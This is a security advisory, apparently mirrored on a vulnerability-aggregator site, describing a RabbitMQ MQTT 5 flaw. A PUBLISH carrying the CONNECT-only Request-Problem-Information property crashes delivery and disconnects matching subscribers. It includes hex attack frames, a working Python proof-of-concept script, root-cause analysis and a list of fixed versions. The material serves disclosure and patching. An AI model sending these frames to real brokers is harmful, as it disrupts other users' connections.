Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-jv99-v328-mvmm

Опубликовано: 18 авг. 2026
Источник: github
Github: Не прошло ревью
CVSS4: 2.3

Описание

MQTT 5.0: inapplicable PUBLISH property disconnects matching subscribers

Summary

RabbitMQ's MQTT 5 property parser accepts properties without checking whether they are valid for the enclosing packet type. An authenticated publisher can include Request-Problem-Information (MQTT property 0x17) in a PUBLISH — a property that the MQTT 5 specification restricts to CONNECT — and the broker will store and route it.

When a matching subscriber's reader later serializes the outbound PUBLISH, serialise_prop/2 has no clause for Request-Problem-Information, raising error:function_clause. That exception is not contained at the victim queue-event boundary, so the victim's entire MQTT connection is closed. The publisher's connection and the broker remain healthy.

Preconditions

  • MQTT (and optionally Web MQTT) is enabled.
  • Attacker is an authenticated MQTT 5 client with write permission for a topic.
  • Victim is a separately authenticated MQTT 5 (or Web MQTT) client subscribed to that topic (or a matching filter).

Root cause

1. Ingress accepts the property on any packet

%% deps/rabbitmq_mqtt/src/rabbit_mqtt_packet.erl:337-338 parse_prop(<<16#17, Val, Bin/binary>>, Props) -> parse_prop(Bin, Props#{'Request-Problem-Information' => Val});

There is no packet-type applicability check around parse_prop/2.

2. Message container preserves the property

mc_mqtt carries MQTT properties through the broker's message container into delivery for matching subscribers (after publisher exchange/topic authorization).

3. Egress has no serializer clause

serialise_prop/2 (same module, ~550–611) defines clauses for PUBLISH-applicable properties (Content-Type, Correlation-Data, …) but not for Request-Problem-Information. Serializing the preserved map therefore raises function_clause in the victim reader.

4. Victim connection is not isolated from serializer failure

rabbit_mqtt_reader does not convert that exception into a controlled protocol error for the delivery path, so the victim process terminates and the socket closes.

Native MQTT and Web MQTT share this codec path; triage sweeps against rabbit_web_mqtt_app.erl describe the same sink.

Reproduction

Self-contained against a stock Docker image. Two MQTT 5 clients on raw sockets: a victim that subscribes to topic t, and an attacker that publishes control then attack frames.

Verified on rabbitmq:4.1-management (broker 4.1.8) with this exact sequence.

1. Start RabbitMQ with MQTT enabled

docker run -d --name mqtt-poc \ -p 1883:1883 \ -e RABBITMQ_DEFAULT_USER=guest \ -e RABBITMQ_DEFAULT_PASS=guest \ rabbitmq:4.1-management docker exec mqtt-poc rabbitmq-plugins enable rabbitmq_mqtt # wait until port 1883 is listening

Default MQTT credentials: guest / guest.

2. Control and attack frames

Control — QoS 0 PUBLISH to t with applicable Content-Type = "a" (victim must survive):

30 09 00 01 74 04 03 00 01 61 78
BytesMeaning
30PUBLISH, QoS 0
09remaining length
00 01 74topic t
04property length
03 00 01 61Content-Type (0x03), value a
78payload x

Attack — same PUBLISH but with Request-Problem-Information = 1 (property 0x17, valid only on CONNECT per MQTT 5, not on PUBLISH):

30 07 00 01 74 02 17 01 78
BytesMeaning
30PUBLISH, QoS 0
07remaining length
00 01 74topic t
02property length
17 01Request-Problem-Information = 1
78payload x

3. End-to-end script (victim + control + attack)

python3 - <<'PY' import socket, struct, time, json HOST, PORT = "127.0.0.1", 1883 def mqtt_str(s: bytes) -> bytes: return struct.pack("!H", len(s)) + s def rem_len(n: int) -> bytes: out = bytearray() while True: d = n % 128 n //= 128 if n: d |= 0x80 out.append(d) if not n: return bytes(out) def connect(cid: bytes) -> bytes: props = b"\x11\x00\x00\x00\x00" # Session Expiry Interval = 0 vh = (mqtt_str(b"MQTT") + b"\x05" + b"\xc2" + b"\x00\x3c" + bytes([len(props)]) + props + mqtt_str(cid) + mqtt_str(b"guest") + mqtt_str(b"guest")) return bytes([0x10]) + rem_len(len(vh)) + vh def subscribe(topic: bytes, pid=1) -> bytes: vh = struct.pack("!H", pid) + b"\x00" + mqtt_str(topic) + b"\x00" return bytes([0x82]) + rem_len(len(vh)) + vh def recv(sock, t=3.0): sock.settimeout(t) try: return sock.recv(4096) except socket.timeout: return b"" def alive(sock) -> bool: try: sock.setblocking(False) data = sock.recv(1, socket.MSG_PEEK) sock.setblocking(True) return data != b"" except BlockingIOError: sock.setblocking(True) return True except OSError: return False victim = socket.create_connection((HOST, PORT)) victim.sendall(connect(b"victim")) assert recv(victim)[0] == 0x20 victim.sendall(subscribe(b"t")) assert recv(victim)[0] == 0x90 att = socket.create_connection((HOST, PORT)) att.sendall(connect(b"att")) assert recv(att)[0] == 0x20 # Control att.sendall(bytes.fromhex("3009000174040300016178")) time.sleep(0.5) ctrl = recv(victim, 2) assert ctrl and ctrl[0] == 0x30 and alive(victim) # Attack att.sendall(bytes.fromhex("300700017402170178")) time.sleep(1.0) _ = recv(victim, 2) # typically empty / peer closed print(json.dumps({ "control_delivered": True, "victim_alive_after_control": True, "victim_alive_after_attack": alive(victim), "attacker_alive_after_attack": alive(att), }, indent=2)) assert not alive(victim), "victim should be disconnected" assert alive(att), "attacker should survive" print("POC_OK") victim.close(); att.close() PY

4. Expected result

CheckControl (Content-Type)Attack (Request-Problem-Information)
Victim receives messageyes (30 09 … 78)no (connection dies during outbound serialize)
Victim TCP socketstays openclosed by broker
Attacker connectionsurvivessurvives
Brokerhealthyhealthy (rabbitmq-diagnostics ping succeeds)

Observed on 4.1.8: control delivered and victim stayed up; after the attack frame the victim socket closed, the attacker stayed up, and the broker remained healthy. Broker log:

{function_clause, [{rabbit_mqtt_packet,serialise_prop, ['Request-Problem-Information',1], [{file,"rabbit_mqtt_packet.erl"},{line,559}]}, ... {rabbit_mqtt_processor,deliver_one_to_client,3,...}]}

Impact

  • Cross-principal: one authenticated publisher can disconnect another client's MQTT session if they share a matching subscription.
  • One-shot QoS 0 disconnect in the current proof; no demonstrated queued replay, retained-message persistence, reconnect poisoning, or broker-wide DoS.
  • Publisher and broker remain up.

Recommended remediation

  • Validate property applicability (and multiplicity) per MQTT packet type at ingress.
  • Filter outbound PUBLISH properties through an explicit PUBLISH allowlist.
  • Convert serializer failures into a controlled protocol error without crashing an unrelated subscriber connection.
  • Add two-principal raw-packet regression coverage for native and Web MQTT.

Пакеты

Наименование

rabbitmq

vmware
Затронутые версииВерсия исправления

>= 3.13.0, < 3.13.19

3.13.19

Наименование

rabbitmq

vmware
Затронутые версииВерсия исправления

>= 4.0.0, < 4.0.24

4.0.24

Наименование

rabbitmq

vmware
Затронутые версииВерсия исправления

>= 4.1.0, < 4.1.15

4.1.15

Наименование

rabbitmq

vmware
Затронутые версииВерсия исправления

>= 4.2.0, < 4.2.10

4.2.10

Наименование

rabbitmq

vmware
Затронутые версииВерсия исправления

>= 4.3.0, < 4.3.5

4.3.5

2.3 Low

CVSS4

2.3 Low

CVSS4